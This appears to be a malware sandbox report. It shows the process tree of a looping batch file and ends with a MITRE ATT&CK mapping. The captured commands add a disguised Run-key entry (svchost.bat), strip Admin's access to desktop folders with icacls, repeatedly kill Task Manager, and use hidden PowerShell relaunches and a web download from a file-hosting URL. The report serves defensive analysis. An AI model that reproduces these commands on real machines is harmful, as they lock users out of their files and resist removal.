    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2576
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:3432
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:5064
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:1496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4624
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5064
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:776
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:5036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:4996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:4468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:1496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:4352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:1624
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5364
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:5708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:6004
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:5288
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5752
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:6036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:4760
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:5600
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5132
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:588
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:5272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:4352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5936
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:5792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6388
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:6656
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:6248
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2312
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:3808
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:4980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4204
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:3164
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:2660
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:1496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:4736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:3424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1656
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:3432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:2256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:3192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:5216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5796
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:6068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:5660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:5784
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:4352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5644
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:5388
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:5892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5908
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:5516
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5816
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:6024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:5392
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5764
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:5432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:6224
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6304
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:6640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6988
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3728
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:4620
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:2904
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:1412
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:2524
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:4468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:5752
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:6016
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:5460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:5268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5876
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:5220
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:6080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:5488
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:5664
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:5768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:5904
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5572
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:5816
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:6264
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:6852
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6044
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3416
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:3360
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1564
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:6060
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:5220
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:6108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:5344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:6032
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:5668
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:5244
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5348
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:5520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:5540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:5776
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5336
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:1108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:5944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6048
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:5240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:6256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6516
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:6816
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4564
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:484
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:1792
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:5836
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:5244
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:5300
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:5100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:6184
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:6748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:7032
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:5856
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:6096
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:5564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6088
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:7068
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:6032
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:5912
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:6176

C:\Windows\system32\mode.com
mode con: cols=1 lines=1
1⤵
PID:2992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://store-na-phx-5.gofile.io/download/web/7ebbb6f4-a537-4208-ad4a-48a914b785b3/301f696501829af4a3a58dccffc4cbb6_0_42700000.mp4' -OutFile 'C:\Users\Admin\Desktop\system_video.mp4' -UseBasicParsing -TimeoutSec 60"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

